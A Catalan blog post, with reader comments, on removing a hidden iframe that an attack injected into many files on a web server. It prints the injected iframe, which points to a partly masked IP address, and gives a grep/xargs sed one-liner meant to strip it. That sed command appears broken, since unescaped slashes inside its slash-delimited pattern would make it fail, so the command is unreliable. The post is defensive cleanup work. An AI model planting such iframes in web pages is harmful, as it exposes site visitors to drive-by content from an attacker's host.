Ahir una de les nostres web va rebre un atac que va inserir codi maliciós al llarg i ample del servidor. El nombre de fitxers afectats era excessivament gran i, tot i que el codi era el mateix, no hi havia manera d’eliminar-lo de forma automàtica perquè el sed no podia reemplaçar-lo directament. El codi era un iframe amb una adreça molt llarga amb tot de caràcters «especials», per la qual cosa el sed fallava en fer el reemplaçament.
Però finalment vaig trobar una solució molt més senzilla que no em pensava. Jo estava capficat tractant de fer la substitució del codi sencer quan, en realitat, podia mirar de fer servir alguna expressió més curta. El codi maliciós era el següent (he canviat els ‘><‘):
>iframe src="http://195.xxx.yyy.zzz/stats/priemIframe.php?sh=1&hashftp=4b8fc90ef6db08d97a433bcec1db0203&hashpage=ac1f24942e1d1df634ac4a1f00218b0c" width=10 border=1 height=10 style="visibility:hidden"<>/iframe<
Doncs bé, la solució va ser tan senzilla com anar al directori base i executar l’ordre següent:
grep -lr -e '<iframe src="http://195.*</iframe>' * | xargs sed -i 's/<iframe src="http://195.*</iframe>//g'
Com veieu, no té molta història, simplement vam posar el principi de l’adreça web a la que apuntava i després un ‘*’ i finalment ‘</ifram>’. Aquest script, executat sobre el directori base, ja se n’ocupa d’eliminar el codi maliciós de tots els fitxers als directoris i subdirectoris d’allà on ens trobem.
4 comments
Skip to comment form
Mai no deixa d’impressionar-me la potència de la línia de comandes…
Ara, que també se n’ha de saber “un rato” perquè tot sembli tan senzill 🙂
Xe, si eixes coses les faig jo cada dia amb els ulls lleganyosos acabaet d’alçar. Ma que sou friquisssss 😛
Molt interessant!
Em permets un comentari? Seria fantàstic que hi haguessis posat una explicació del que fa l’ordre. Ho dic perquè qui més o menys ho entengui, cap problema, però qui no, es quedarà amb un pam de nas.
Salut,
Hola Jordi, doncs tens raó. La veritat és que ho vaig posar més com a apunt per a mi que com una entrada del bloc, hehe. De tota manera miraré d’explicar la sintaxi.
Salut!